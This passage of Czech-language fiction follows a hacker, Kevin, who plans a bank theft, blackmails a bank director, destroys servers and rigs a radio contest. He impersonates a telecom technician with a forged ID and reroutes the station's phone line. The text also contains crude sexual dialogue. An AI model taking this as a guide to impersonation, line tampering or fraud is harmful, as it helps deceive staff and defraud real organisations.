dívek za přepážkou. "Moment, zavolám ředitelku pobočky." Řekla bankovní úřednice. Za okamžik přišla asi padesátiletá namalovaná ženská, na které Kevin okamžitě poznal, že to není osoba na svém místě. "O tom já bohužel nerozhoduji, ale přímo naše vedení. Nejdříve si musíte napsat žádost a následně projít výběrovým řízením." Řekla. "Ještě vám dám adresu našeho ředitelství, kam se můžete případně obrátit." "Dobrá", řekl a Kevin a odešel. "Tak tudy cesta nevede" pomyslel si nahlas Kevin. U vchodu banky si všiml ostrahy a zapamatoval si její název. Ještě ten den vyhledal sídlo této bezpečnostní agentury a přihlásil se tam o práci. A tady měl štěstí, protože byl přijat. Přímo na místě vyplnil rozsáhlý formulář a za tři dny může nastoupit. Jako první úkol dostal denní střežení banky, kterou chce elektronicky vyloupit. "To je ale náhoda" zaradoval se Kevin. První služba proběhla bez problémů a Kevin se pouze seznámil s prostory celé bankovní budovy, včetně různých sklepních prostor a dokonce i kanálů. Druhý den měl v bance noční službu. V šest hodin večer vystřídal svého kolegu a zaujal jeho místo. Ostraha v bance má dost velké možnosti, protože je jí umožněn přístup do všech prostor banky, což Kevinovi vyhovuje. Ke střežení měl k dispozici malou místnost, do které byly vyvedeny všechny kamerové systémy, takže střežené místnosti měl jako na dlani. Přesto bylo v jeho náplni práce každou hodinu střežené prostory fyzicky navšívit, což mu velmi vyhovovalo - mohl tak prověřit IT vybavení kanceláří. V několika následujících týdnech čeká Kevina nejnáročnější úkol - najít v počítačových systémech nějakou chybu, případně systém svým zásahem nastavit tak, aby mohl z banky nepozorovaně přes svůj počítač ukráct minimálně padesát miliónů. Jenže osud chtěl něco jiného. Ze střežení banky byl odvolán na jakési rozsáhle staveniště, kde se údajně kradl stavební materiál. Protože byl ještě ve zkušební době, okamžitě odešel pryč bez udání důvodu. Zkusí tedy variantu číslo dvě, což je navázání kontaktu s nějakým pracovníkem banky. Samozřejmě, že má na mysli nějakou sličnou bankovní úřednici, ale nakonec i od tohoto záměru upustil, protože bankovní úřednice jaksi o jeho sexuální pudy nejevily zájem. Pomalu propadal černým myšlenkám, že tento úkol je prostě nad jeho síly a nikdy jej nebude schopen provést. Teoreticky by to možné bylo, ale musel by klíčovou bankovní transakci provést přímo z banky. Přestože tam byl Kevin pouze dva dny, tak zjistil, že banka používá poměrně velmi kvalitní IT technologie, a to včetně vnitřních rozvodů. Veškeré počítače byly propojeny optickými kabely, což umožňovalo rychlý přístup k datům. Všiml si talé několika racků, které tvořily inteligentní rozvody datových sítí včetně telefonních linek. Tyto datové rozvody nebyly uzamčené a klíček z každé z nich byl zasunut v zámku. Kevin zde objevil především datové směrovače, mosty, ukončení optických kabelů a mnoho dalších zařízení. Jeho zkušené oko si všimlo, že routery i bridge mají několik volných vstupů, takže by stačilo přinést svůj notebook s konektorem a připojit se do konfiguračního menu, například routeru, a tak se stát legitimním členem bankovní počítačové sítě. Pak už se nechají dělat různé věci, a všechno je otázka času. Navíc, rack obsahuje mnoho konektorů typu RJ, takže připojení by pro Kevina byla hračka - vlastní dokonce i speciální klečtě na tyto konektory. Ale to je všechno pouze utopie, protože v bance již nic nehlídá. Jednoho dne tedy zkusí standardní postup. Přijde do jiné pobočky této banky a vejde do úvěrové kanceláře. Přivítá ho asi třicetiletá úřednice a nabídne volnou židli. Kevin se posadí a pohlédne do její tváře, která se rozjasnila profesionálním umělým úsměvem. "Jaké je vaše přání?" Zeptala se úřednice hackera. "Potřebuji úvěr ve výši asi padesát milionů" řekl Kevin úřednici. "To nebude tak jednoduché" opětovala úřednice. "No... s tím jsem počítal" řekl Kevin. "Pravděpodobně máte nějaký podnikatelský záměr a potřebujete na jeho uskutečnění peníze že?" řekla zkušená úřednice za přepážkou. "Přesně tak" reagoval Kevin. "Musíte nám tedy váš záměr dokonale popsat, a my rozhodneme o jeho možnostech. Celé řízení se ovšem dost protáhne, takže počítejte s tím, že úvěr tak rychle nedostanete." "Dobrá, tak já si to doma připravím a přijdu sem již s hotovou věcí." Odpověděl a odešel. Při odchodu již ale věděl, že tudy cesta opět nepovede. Sklamán zašel do nejbližší hospody, která se mu postavila do cesty. Sedl si k volnému stolu a objednal si pivo. Kousek od jeho stolu seděla nějaká mladá děvčata a Kevin poznal, že jsou trochu více pod párou. Na jejich stole viděl prázdou lahev od vína, spolu s pivem. "Hele to je pěknej mladej zajíček" řekla jedna z holek a obratila se ke stolu kde seděl Kevin. "Hmm" zabručela druhá a povídá" "Ty krávo, já bych tak kouřila nějakej vocas a pak bych si ho tam vrazila až po koule". Po těchto slovech se Kevin otočil, zvedl se od stolu a přisedl si k nim. "Jo to by šlo, já už jsem to taky dlouho nedělal, tak která by na to šla?" Zeptal se jich Kevin. Ale najednou děvčata nějak zmlkla. Podobnou reakci Kevina žádná z nich nečekala, takže po sobě pouze nechápavě zíraly. "No těď jsi říkala, že na to máš chuť" řekl Kevin jedné z nich." "No já to myslela jen tak ze srandy". Kevin se zvedl, u pultu zaplatil za jedno pivo a vyšel ven z hospody. Jak přijít k velkým penězům a přitom neudělat žádný zločin? Přemýšlí v duchu Kevin, ale nic rozumného ho nenapadá. Jde tedy raději spát, ráno snad bude moudřejší. Ráno dostal další geniální nápad. Zkusí vydírat toho ředitele banky, který byl v minulosti členem tajné policie totalitního režimu. Pokusí se o něm něco zjistit, nejlepší by bylo objevit, že při vyslýchání odpůrců režimu se k nim choval nevhodně. Problém ovšem bude, dostat se k jeho osobním údajům. Svůj životopis si každý nosí v hlavě, ale někde přeci musí být nějaký záznam. Jeho bydliště si zjistil z internetu, takže se tam podívá. Jak se dalo očekávat, bydlem v luxusní vile, na kopci a v klidném prostředí. Součástí jeho zámku byl také bazén, který byl uprostřed velké zahrady. V otevřených dveřích velké garáže uviděl Kevin tři luxusní auta. Obejde tedy celý blok domů a vyhledá nejbližší restaraci - tam vědí všechno. Sedne ke stolu a hned má před sebou zrzavou vodu s pěnou. Po třetím pivu se Kevin trochu osmělý a osloví vedle sedící štamgasty, kteří právě dohráli karty. "Nevíte čí je ta luxusní vila tady kousek?" "Jo ta je bankéře" řekne jeden z nich. "Bankéř? hovno bolševik a estébák. Pěkná svině, divím se, že ho ještě nezavřeli". řekl druhý z nich. Kevin poznal, že ho tady moc rádi nemájí, a proto si k nim přisedl a začal. "A jakou banku vlastní?" Zeptal se Kevin. "A sakra, tam mám peníze". "No to si pěknej vůl tam bych nedal ani korunu." Kevin jim objednal fernety a pokračoval. "Jak víte, že byl estébák?" "No já byl u policajtů taky a on organizoval vše okolo silového řešení v revolučních dnech před deseti lety. Dokonce dostal od vedení stranický úkol, jak se jednou pro vždy vypořádat s opozicí. Říkali jsme tomu "konečné řešení". Něco o tom vím, protože ty jeho plány mám doma i z jeho podpisem. Sebral jsem to v tom chaosu během tzv. revoluce. To kdyby se dostalo na veřejnost, tak milý bankéř půjde hned k soudu." Řekl již ožralý štamgast, který v této hospodě zapíjel žal a "staré dobré časy." Kevin má čich na lidi, a proto poznal, že ten opilec asi říká pravdu. Po této informaci dostaly události velmi rychlý spád. Kevin zaslal řediteli banky email, kde ho upozorňuje, že má k dispozici jeho materiály s názvem "Konečné řešení." Za slib mlčení požadoval padesát miliónů korun. Pět miliónů v hotovosti a zbytek převodem na jeho účet, jehož číslo mu také poslal. Hned druhý den se ředitel banky ozval a navrhl Kevinovi schůzku. Ten souhlasil, ale za místo setkání si určil veřejně přístupnou místnost, nejlépe plnou hospodu. Bankéř souhlasil. V den setkání sedí hacker nervózně v hospodě a očekává příchod bohatého estébáka. Kevin měl před sebou rozloženou knihu hřbetem vzhůru, což byl smluvený poznávací znak stolu, u kterého bude sedět. Pak se to stalo. Přisedl si k němu asi šedesátiletý pán, který vůbec nevypadal na bývaleho estébáka. Byl totiž vysoký a štíhlý, což v jeho věku je dost překvapující. Objednal si pouze sodovou vodu otevřel svoji černou tašku a vyndal na stůl nějaké papíry. "Tak tohle je podnikatelský záměr, který nám oběma umožní příjít si k pěkným penězům". Řekl bankéř, zatím nic nechápajícímu Kevinovi. "Prostě je to způsob, jak dostat z banky naprosto legálně minimálně sto miliónů. Mám tady kvalitně připravený podnikatelský záměr na výstavbu rodinných domků, ale potřebuji k tomu někoho, kdo se pod to podepíše, abych mohl z banky čerpat úvěr. Tak tedy padesát melounů ty a padesát já ok?" Dokončil bankéř svůj monolog. Kevin byl tímto jednáním velmi zaskočen a vůbec nevěděl, jak na to reagovat. Vůbec se mu to nelíbilo. Velmi rychle ovšem pochopil, že ten člověk je hazardní hráč, který hraje podle pravidla všechno nebo nic. Vlastně je to ještě větší lump, než si Kevin ve skutečnosti myslel. Nezbývalo tedy než souhlasit a papír podepsat. Za několik dní se na kevinovo běžném účtu objeví neuvěřitelná částka peněz. Ovšem v televizi se za několik dní dozví, že na další banku byla uvalena nucená správa a její vedení zmizelo a s ním i tři miliardy korun. Desetitisíce lidí přišli o všechny svoje úspory a zbyli jim jen oči pro pláč. "Ten hajzl" zaklel nahlas Kevin. Proč mně vlastně těch padesát miliónů poslal? Začne vyšetřování a tenhle převod miliónů nemůže vyšetřovatelům uniknout, takže mě vlastně do toho také namočil. "Ta svině" opět zaklel Kevin. Druhý den rychle spěchá do banky vybrat rychle nějakou hotovost. Zatím má štěstí a z banky odchází s miliónem v kapse. Ale jak dlouho? Pak ho to napadne - koupí si rychle větší tašku a jde zpět do banky. Na výběrní lístek napíše částku čtyřicet devět miliónů korun a jde k přepážce. Mírně šokovaná úřednice chvilku váhá a požádá Kevina o malé strpení a odejde. Asi za deset minut přijde a oznámí Kevinovi, že jeho účet byl zablokován. Kevin se rychle otočí a jde pryč z banky. Vyhledá nejbližší bordel a s miliónem v kapse vejde dovnitř. Na barovém pultu sedí nádherná dívka a Kevin se do ní okamžitě zamiloval. Měla nádherně namalované rty i obočí a svůdně pohlédla na Kevina. Ten se do ní okamžitě zamiloval - prostě láska na první pohled. Příjemná hudba, skvělé pití, krásná žena, milión v kapse, co si ještě víc od života přát? Rychle spolu odešli na pokoj, kde začaly velké milostné orgie. Nemám odvahu tady popisovat co se tam stalo, ale Kevina to stálo téměř čtvrt miliónu korun. Navíc ta děvka zjistila, že Kevin má u sebe další prachy a dala mu do pití nějaký prášky na spaní. Asi jí to přikázal majitel nočního klubu - ukrajinský mafián. Kevin se druhý den probudí v parku na lavičce a úplně bez peněz. Vlastně mu nechaly jednu pětitísícovku - tak byli v tom bordelu hodní. "Ta děvka. Kdyby věděla, že jsem se do ní opravdu upřímně zamiloval - vždyť byla tak krásná. Ach to jsem to ale blbec." Jde proto domů, pustí počítač a hackne ze samé zloby několik serverů a nemilosrdně smaže obsah jejich pevných disků. Kevin jede na dovolenou Jednoho dne si Kevin uvědomil, že již téměř deset let nebyl nikde relaxovat, například u moře, v horách nebo u nějakého pěkného jezera. Jinak řečeno, nebyl na dovolené, přestože v jeho případě není slovo dovolená to správné. Rozhodl se proto, že pojede k moři. Jenže Kevin je hacker, a proto nerad platí velké peníze za něco, co by mohlo stát mnohem méně, a v jeho případě raději úplně zadarmo. Ne, že by na to neměl, ale pro něho to jsou vyhozené peníze. Vrátí se zpět, bude o několik tisíc chudší, ale žádnou hmatatelnou věc nebude vlastnit. "Nejlepší by bylo nějakej zájezd vyhrát." Řekl si Kevin v duchu. Pak ho to napadlo. Minulý rok se staly velkým hitem různé rozhlasové soutěže, ve kterých mohl každý, kdo poslouchal jejich vysílání vyhrát luxusní dovolenou u moře. Hned tedy pustí rádio, jestli to náhodou nebudou opakovat i tento rok. Pustil jednu celostátní rozhlasovou stanici, kde minulý rok vyhrálo několik šťastlivců zájezdy na Kanárské ostrovy. Asi za deset minut se to stalo. Kevin uslyšel krátkou upoutávku, ve které nějaký reklamní šašek umělým hlasem křičel do světa. "To tu ještě nebylo. Pouze tři výherci mají možnost strávit měsíc na Havajských ostrovech v luxusním hotelu. Jak to získat? Stačí celý červen poslouchat nepřetržitě naše vysílání, a až zazní pět českých písniček za sebou, dovolat se jako první na naše známé telefonní číslo a výhra je vaše. Pojedete na dovolenou snů a k tomu vám ještě přidáme deset tisíc dolarů jako kapesné". "No to je tedy bomba!" Vykřikl Kevin. Jenomže šance, že se dovolá jako první jsou hodně malé. Zájemců je mnoho a telefonní linka pouze jedna, což není dobrá kombinace. Ale nakonec šance mají všichni stejné, prostě vyhraje ten, kdo bude rychlejší. Všichni jsou si tedy v tomto případě rovni, ale někdo je přeci jenom rovnější- jsou to hackeři. Kevin totiž bydlí nedaleko budovy, kde se budou hovory příjímat a vyhodnocovat. To přeci nemůže nechat náhodě že? Již se definitivně rozhodl, že se pokusí udělá velký rozhlasový podvod. Něco o tom již četl, ale takové možnost Kevin nemá, aby mohl přímo ovládat telefonní ústřednu, kam je připojena jejich telefonní linka. Udělá to mnohem jednodušeji. Jednoho dne, kdy začal krásný jarní podvečer a většina mladých lidí má úplně jiné zájmy než Kevin, oblékl si tento hacker uniformu zaměstnanců telekomunikační společnosti, přes rameno si vezme montážní brašnu a vyrazí udělat základní průzkum terénu. Budova rozhlasu je obrovský areál, kam vedou stovky telefonních linek. Nedávno zde jiná telekomunikační firma prováděla velkou rekonstrukci telefonních rozvodů, takže všude je strukturovaná kabeláž, což je pro Kevina velká výhoda, protože se lépe orientuje v celém systému. "Zkušebna nám oznámila, že na jedné lince u vás naměřila zem na vedení. To mohl začít odcházet kabel. Kde tady máte hlavní telefonní rozvod?" Zeptal se Kevin sebevědomě na vrátnici rozhlasu. Mladá příslušnice bezpečnostní služby ochotně zavedla Kevina do suterénu a otevřela velké dveře do telefonního rozvodu. "Dík kotě, co budeš dělat dneska večer? "Mám noční". Odpověděla s úsměvem dívka v uniformě a nechala Kevina o samotě. Tak první malý podvod mu docela vyšel, ale to je pouze začátek. "Kdybych tak měl kabelové plány celého okolí, tak jsem za vodou" pomyslel si v duchu Kevin. Většina kabelových závěrů již byla novějšího typu, ale ještě zde byly vidět staré závěry typu ZAU nebo PZVR. Jak v tomto obrovském rozvodu najít jednu jedinou telefonní linku? A když jí najde, musí ještě najít druhý konec, což je rozvod, ze kterého sem přichází. Kevin moc dobře věděl, že kabel do tohoto rozvodu nejde přímo z telefonní ústředny, ale v cestě je ještě mnoho a mnoho různých přerušení, které pro Kevina představují velkou šanci. Otevřel malou dřevěnou skříňku, kde objevil mnoho dokumentace, která čeká na prostudování. Všechno zde bylo dokonale popsáno, takže Kevin za několik minut objevil hledanou linku. Teď už stačí dostat se až na její příchod, respektive na kabel, kterým linka odchází směrem k telefonní ústředně. I ten Kevin po čase objevil, a dokonce v dokumentaci našel adresu dalšího rozvodu mezi telefonem a ústřednou. Kevin si tedy opsal číslo kabelového závěru a pozici, kde je pobočka na závěru umístněna. Zjistil vše co potřeboval, a proto zavolal na mladou strážnici, která místnost opět uzamkla. "Musíte se zapsat do knihy návštěv, a také mně ukázat nějaký průkaz." Řekla mladá strážnice a požádala tím Kevina o předložení nějakých dokumentů. Ale i na to byl Kevin připraven. Kdysi si sehnal falešný služební průkaz, který používají pracovníci telekomunikační firmy, kde pouze vyměnil fotografii. "Tady něco mám a podal to dívce" Ta si opsala nějaké údaje a vrátila průkaz Kevinovi. Druhý den se Kevin vydal na adresu, kde by měl najít druhý telefonní rozvod. Po chvilce hledání ho skutečně našel, ale bohužel pro Kevina byl umístněn na frekventovaném místě, takže je prakticky k jeho podvodu nepoužitelný. Kevin totiž bude muset u podobného rozvodu trávit dlouhé hodiny a poslouchat při tom rádio, a tady to pochopitelně není možné. Ale přesto určitou naději má. Jde o to, že v podobných rozvodech bývá mnoho tzv. "mrtvých kabelů", které nemají žádné obsazení, ale přitom jsou úplně v pořádku. V okolí si Kevin všiml několika starých domů, kam určitě povede nějaký kabel, který by nemusel být obsazen. Večer si opět oblékne uniformu telekomunikační firmy, vezme montážní brašnu a vyrazí. Jde okolo laviček, které jsou plné milenců, protože je krásný červnový den. Konečně dorazí na místo a otevře univerzálním klíčem telefonní rozvod. Okamžitě uviděl číslo závěru, které si opsal v budově rozhlasu, takže zatím jde všechno podle plánu. Po chvilce pátrání tady našel několik nezapojených linek, z nichž jednu bude ke svému podvodu nutně potřebovat. V dokumentaci našel její číslo, které si opsal do svého notesu. Ale co je mnohem důležitější, objevil zde několik dalších nezapojených kabelových závěrů, jejichž čísla si bleskově opsal a skříňku zavřel. Teď musí pátrat po okolí a hledat další rozvod, ve kterém se pokusí najít stejná čísla. Vejde proto do nedalekého starého domu, který je napůl rozpadlý a začne pátrat. Když celý objekt proleze, zklamaně vyjde opět ven - nic nenašel. Za to dostal pěknou žízeň, a proto nasměroval svoje kroky do nedalekého bistra, ze kterého zněla příjemná hudba. Sedl na bar a objednal si pivo. Vedle něho seděla mladá a smutná dívka, která měla skloněnou hlavu. "Není vám nic?" zeptá se Kevin dívky. Ta na Kevina pohlédla, a ten okamžitě poznal, že je ožralá jako prase. "Chtěla bych se s tebou pomilovat." Řekla ožralá holka Kevinovi, který poté okamžitě zapoměl na hackování. "Tady?" Zeptal se nevěřícně Kevin. "Půjdeme ven", řekla dívka a chytla Kevina za ruku. Byla totiž docela pěkná, jinak by s ní pochopitelně Kevin nikam nešel. Obešli celý velký blok domu, a za ním uviděl Kevin několik nízkých rozbořených baráčků, které vypadaly jako herny na kuželky, protože byly nepřirozeně dlouhé. "Co to tady bylo?" zeptá se Kevin již trochu více střízlivé dívky, na kterou má svěží jarní vzduch evidentně blahodárný účinek. "Tady byly za bolševika kasárna." Řekla dívka. A měla pravdu, protože za chvilku Kevin uviděl velký buzerák, ze kterého si udělali nějací puberťáci hřiště na fotbal. Zašli mezi nízké domky starých kasáren a dívka lehce zavadila o Kevinovo přirození. Ten se k ní otočil a chystal se začít líbat její velká a pevná prsa. V tom náhle uviděl přes její rameno na zdi jedné z budov velký telefonní rozvod a uvědomil si, proč sem vlastně přišel. "Hele, já teď nemám čas, dej mi svoje telefonní číslo, já ti někdy zavolám. Dívka se na Kevina nechápavě podívala, ale poslechla. Kevin si její číslo zapsal do mobilu a prozvonil její mobil. "OK, ozvu se ti. Mimochodem...nechtěla by jsi strávit měsíc na Havajských ostrovech?" Dívka se pousmála a řekla: "ty jsi taky jeden z těch bláznů, který věří na tu rozhlasovou soutěž? To bude určitě nějaký podvod." "No to bude určitě podvod století" řekl se smíchem Kevin. Dívka odešla a Kevin okamžitě spěchal ke starému telefonnímu rozvodu. "Ten kabel, který jsem před několika minutami neúspěšně hledal, by tady mohl končit." Pomyslel si nahlas hacker." Skříňka byla pochopitelně otevřená a Kevinova tvář se rozjasnila smíchem. Uviděl na jednom ze třech kabelových závěrů stejné číslo, které bylo v rozvodu za rohem velké budovy. Kevin okamžitě vyndal z brašny měřič izolačního odporu, a do připravených otvorů zasunul měřící šňůry. Jednu z nich připojil na uzemnění, které bylo ve skříňce a druhý konec připojil pomocí krokosvorky na jeden z mnoha volných párů v kabelu a zatočil kličkou induktoru. Ukazatel měřícího přístroje se pouze nepatrně vzdálil od ležaté osmičky, která na měřícím panelu reprezentuje nekonečně velký odpor. Stejným způsobem Kevin prověřil i ostatní žíly v kabelu a ručka přístroje se vůbec nevzdálila od ležaté osmičky. Podobným způsobem zkontroloval i izolační stav jednotlivých jader kabelu mezi sebou a ručka přístroje se ani nepohnula. "Tak to bychom měli". Řekl si Kevin nahlas. Teď ještě musí zkontrolovat kontinuitu, jestli není kabel někde přerušen. Z tašky vytáhne kus drátu a navzájem propojí několik žil v kabelu. Pak rychle běží kolem velkého bloku budovy zpět do předchozího rozvodu. S bušícím srdcem vyndá měřič odporu a připojí krokodýlky na dva zkratované páry a zatočí kličkou. Ukazatel měřícího přístroje prudce zareaguje a narazí na opačný doraz stupnice, kde má svůj domov číslice nula. Kevin si náhle uvědomil, že žádný technický problém mu již nestojí v cestě ke konečnému vítězství. Jak vlastně Kevin chce tohoto vítězství dosáhnout? Potřebuje k tomu dvě telefonní linky: jednu, která vede do redakce rozhlasové stanice a druhou, která nemá žádného vlastníka. Protože bude trávit dlouhé hodiny a možná i dny u rádia, potřebuje nějaké odlehlé místo, kde nebude tolik na očích. Obě linky si zavede do svých "kasáren", z toho linku do rozhlasové stanice pustí dalším párem zpět do původního rozvodu, která pak bude pokračovat standardní cestou do rádia. Kdežto linku, kterou nikdo nevlastní použije v pravou chvíli ke svému podvodu. Obě linky připojí na přepínač a jednoduše je navzájem prohodí v okamžiku, kdy bude pomalu končit čtvrtá česká píseň v řadě. To ovšem není zdaleka všechno, co bude potřebovat. Především velké množství aktuálních informací. Nejdůležitější jsou pochopitelně ty informace, které přicházejí z rádia. Pak také musí sledovat aktivitu na telefonní lince, které je určena pro příjem hovorů v rádiu. Ta ovšem není zapojena trvale, ale aktivuje se pouze v době, kdy je to potřeba, v tomto případě, zazní-li pátá česká píseň v řadě. Kevin proto bude muset někdy v polovině každé čtvrté písničky přepnout linky a čekat jaká bude další. Jestliže zazní zahraniční, ryche linky vrátí zpět a bude čekat na další sérii. Jestliže ovšem zazní pátá česká písnička, jednoduše ze svého mobilu vytočí číslo svojí ukradené telefonní linky, která ovšem teď vede do redakce rádia. Tam to pochopitelně nezjistí, protože koncové zařízení v redakci bude stále normálně fungovat. Až ukončí rozhovor s moderátorem, který mu řekne, že právě vyhrál zájezd snů, vrátí přepínač zpět a všechno je zase v pořádku. Kevin rychle zamkne rozvodnou skříňku a jde pomalu domů. Nebe je již plné hvězd a z nedaleké hospody zní rocková hudba, která láká mladé potenciální zákazníky zvyšovat celostátní průměr ve spotřebě piva na hlavu. Kevin také neodolá a zajde na jedno. V hospodě se nemluví o ničem jiném, než o rozhlasové soutěži století, která začíná již za dva dny. "Je to lepší z mobilu nebo z pevné linky?" Zeptá se jeden z mladíků Kevina, který právě vešel do hospody v uniformě telekomunikační firmy. "Sedni si k nám" křičí jeden mladík, jemuž dělají společnost docela pěkné holky. "Nevím, to bude určitě nějaký podvod". Odpoví Kevin s úsměvem. U stolu také sedí jedna holka, která spí u stolu s rukama pod čelem a Kevin podle vlasů poznal, že se jedná o jeho ožralou svůdnici. Ta náhle zvedla hlavu a Kevin poznal, že je ožralá úplně na šrot. Rychle dopil pivo a zmizel ve tmě. Má ještě hodně práce a soutěž se nezadržitelně blíží. Druhý den se probudí časně ráno a jde rychle nakoupit zásoby potravin a pití do supermarketu. Pak se opět převlékne do "pracovního" a jde do "kasáren", má tady totiž hodně práce. Svoje pracoviště si musí připravit. Nejprve otevře rozvod a najde konec tenkého telefonního kablíku, který končí o několik místností dále. Tam ho přestřihne a vytáhne ustřižený konec na svoje dočasné "pracoviště". Ze skříňky do něho zapojí obě linky, které si sem předtím již pustil z dalšího rozvodu. Teď musí na okamžik přerušit linku do rádia, aby jí v zápětí opět pustil, ale tentokrát již jde přes jeho přepínač. K tomu potřebuje neustále sledovat dění na lince. Kdysi si na koleně udělal speciální kartu k notebooku, jejíž návod si stáhnul z jednoho hackerského serveru. Ta umí nejenom monitorovat a následně přes reproduktor sdělovat Kevinovi důležité informace, ale také na linku vysílat libovolné hlašení ze zvukového souboru, včetně nahravání již probíhajícího hovoru, který se ukládá opět do zvukového souboru a mnoho dalších funkcí. Řídící softrawe ovšem nepracuje ve Windows, ale Kevin jej těžce ladil v asembleru podle chabého návodu. Kevin si nové pracoviště podrobně prozkoumal a dokonce objevil i 220 voltů v zásuvce, což jej velmi mile překvapilo. Jeho šperhák v zámku také funguje, takže si může i s přenosným rádiem na chvilku odskočit do nedaleké hospody na pivo. Než Kevin všechno připravil, tak tady byl poslední večer před dnem D, kdy začíná rozhlasová soutěž století. Ta tedy z Kevinova pohledu startuje zítra přesně v poledne. Kevin se probudí v den D do krásného slunečného dne, když předtím měl sen, že vyhrál luxusní dovolenou na Havajských ostrovech. Dnes může tento sen proměnit ve skutečnost. V deset hodin si vezme všechny potřebné věci a vyrazí směr "kasárna". Hodinu před zahájením soutěže má již všechno připravené a čeká na zahájení největšího rozhlasového divadla v dějinách tohoto média. Jeho notebook s připojenou speciální kartou neustále sleduje činnost na jejich telefonní lince, kde každý kdo se dovolá dostane pouze hlášení, že linka je dočasně mimo provoz. To je samozřejmě pochopitelné, protože falešných volání bude určitě obrovské množství, a proto se spojení aktivuje pouze v rozhodujících chvílích, což Kevin pochopitelně moc dobře ví. Konečně rádio odpípalo dvanást hodit a soutěž století může začít. Místo pravidelných zpráv, pouští moderátor upoutávku na tuto soutěž, až teprve po ní začne další moderátorka číst pravidelné zprávy. Po jejich zkončení zazní první česká píseň, ve které Waldemar Matušku tvrdí, že třešně již zrály. Druhá píseň je ovšem italská, takže začátek serie je hned v úvodu přerušen. První den soutěže proběhl bez většího vzrušení, pouze jednou zazněly čtyři české písně za sebou, a proto byl Kevin nucen otočit přepínačem linek. Pak ovšem zazněly první tóny písně Confusion od skupiny Elektric Licht Orchestra, takže Kevin rychle vrátil přepínač zpět. Právě tyto okomžiky jsou nejhorší, protože někdo může tuto aktivitu zaznamenat a odhalit. V noci Kevin dokonce krátce usnul, ale nic se nastalo, protože je velmi málo pravděpodobné, že v době mezi druhou a pátou hodinou ranní se ozve pět českých písniček. To totiž není v zájmu sponzorů celé této akce. Druhý den něco Kevinovi našeptávalo, že dnes to přijde. První záblesk nastal v deset hodin dopoledne, kdy opět zní čtvrtá píseň za sebou a v jejím závěru Kevin opět přepne přepínač. Ale pátá píseň je anglická, takže Kevin s bušícím srdcem vrací přepínač zpět. Je horký pozdní jarní den a Kevin dostal chuť na studené pivo. Restaurace je nedaleko a Kevin může dokonce svůj nový dočasný domov zamknout, což je velkým lákadlem. Vezmi tedy malé přenosné rádio a vyrazí. To, co spatřil v hospodě ho přímo šokovalo. Přestože hospoda nebyla úplně zaplněna, tak každý měl před sebou mobil, a rádio v restauraci bylo pochopitelně naladěno na stejnou stanici, jakou má Kevin na svém malém rádiu v kapse. Celá hospoda právě vedla vášnivou debatu o tom, co je lepší: volat z mobilu nebo z pevné linky. Hostinský totiž používal firemní telefon, a proto měl největší naději na úspěch. Hosté ale byli jiného názoru a tvrdili, že mobil je rychlejší. Kevin seděl u baru, pil pivo a s lehkým ironickým úsměvem celou debatu poslouchal, právě v okamžiku, kdy pomalu doznívá třetí česká píseň v řadě. Pak začne zpívat Karel Gott a opět začíná jít do tuhého. V celé hospodě jako by se úplně zastavil provoz, dokonce i kuchaři přestali vařit a zuřivě mačkají tlačítka svých mobilů. "A ty nic?" Zeptá se jeden z hostů Kevina. "To je stejně podvod, nikdo z vás v této hospodě stejně nevyhraje, vím to určitě." Zasmál se Kevin, dopil pivo a rychle běží do svých "kasáren". Nedaří se mu šperhákem otevřít dveře, ale nakonec to stihne, právě v okamžiku, kdy pomalu doznívá čtvrtá česká píseň v řadě. Rychle otočí přepínačem a čeká na další píseň. Okamžitě pozná úvodní tóny písně od skupiny Katapult, Lesní manekýn. Ještě počká, až Olda Říha zaspívá skutečně česky a v klidu ze svého mobilu zavolá na změněné telefonní číslo v redakci rádia. "Haló, kdo je tam?" ohlásí se dost nestandardně moderátor v rádiu. "Jsem opravdu v rádiu?" zeptá se s hranou nejistotou Kevin. "Ano jste a právě jste vyhrál zájezd snů na Havajské ostrovy." To ovšem ví pouze Kevin, protože Oldřich Říha stále zpívá, mezitím co se Kevin domlouvá s redaktorem na své identifikaci. Řekne mu svoje rodné číslo, které si pak v redakci ověří při vydávání poukazu z občanky Kevina. "Až dohraje písnička, tak vás pustím do živého vysílání, tak dejte znát pořádnou radost, ať vám celá republika pořádně závidí." "Řekne se slyšitelným úsměvem moderátor Kevinovi." "Pokusím se", odpoví stále nejistě Kevin. "Vážení posluchači, máme tady prvního šťastného výherce v naší soutěži, kterým je mladý sympatický muž. Máte velkou radost z výhry?" Hurááá mám obrovskou radost, že díky vašemu rádiu jedu na Havaj." Zakřičí Kevin do rádia. "Co doporučíte ostatním zájemcům o výhru?" Zeptá se moderátor Kevina. "Rozhodně raději volejte z pevné linky, protože zpoždění, které vzniká při přechodu z mobilní do pevné sítě vám nedává příliš mnoho šancí". Lže Kevin milionům posluchačům v celé zemi. "Tak si to pěkně užijte a dál poslouchejte naše rádio, i když podruhé vyhrát nemůžete." "Nashledanou." Řekne Kevin a ukončí svoje první živé vysílání v životě. Počká ještě několik vteřit a přepínač vrátí zpět. Rádio má opět svoji původní linku. Až teprve teď dostane Kevin záchvat obrovské radosti z výhry. Ale největší radost má z toho, že výhru získal svým geniálním podvodem. Až záchvat radosti odezní, vrátí zde všechno do původního stavu, včetně linek v obouch skříních a odejde domů. Asi za hodinu se vydá do rádia pro poukaz na dovolenou snů. Tam také všechno proběhne naprosto hladce a Kevin odchází se dvěma poukazy pryč. Ale s kým pojede? Vzpoměl si na ožralou krásku, které něco podobného slíbil. Vezme mobil a zavolá na její číslo. "Nazdar, nechceš se podívat na Havajské ostrovy? Mám u sebe dva poukazy, jeden pro sebe a druhý pro tebe". Řekne klidně Kevin do telefonu. "Děláš si srandu?" "Ne, myslím to vážně." Kontruje Kevin. "Přijď hned do té hospody, kde jsem tě poprvé uviděl. Asi za deset minut, téměř současně vejde Kevin i jeho nová společnice do restaurace a Kevin jí předá poukaz na zájezd snů. "Teď pro změnu bych se s tebou chtěl pomilovat já." Řekne Kevin tentokrát již střízlivé krásce. "Doufám, že mně nedáš košem stejným způsobem, jako já minule." Řekne s úsměvem Kevin. Prožili pak spolu mnoho bouřlivých nocí plných vášní. Jednoho dne pak odjeli na letiště, kde již čekalo jejich letadlo směr New York, které pak bude pokračovat na Havajské ostrovy. "Život je krásny, ale jen tehdy, když to s ním člověk umí." Pomyslel si Kevin právě v okamžiku, když se jejich letadlo bezpečně odlepilo od země. Konec první části Tato druhá část popisuje snahu Hackera Kevina změnit svůj život, který byl v minulosti poznamenán temným život v kybernetickém undergroundu. Hlavní hrdina, notorický Hacker Kevin, se díky svému hackerskému řemeslu dostal do obrovských problémů a jeho život byl mnohokrát ohrožen korupcí 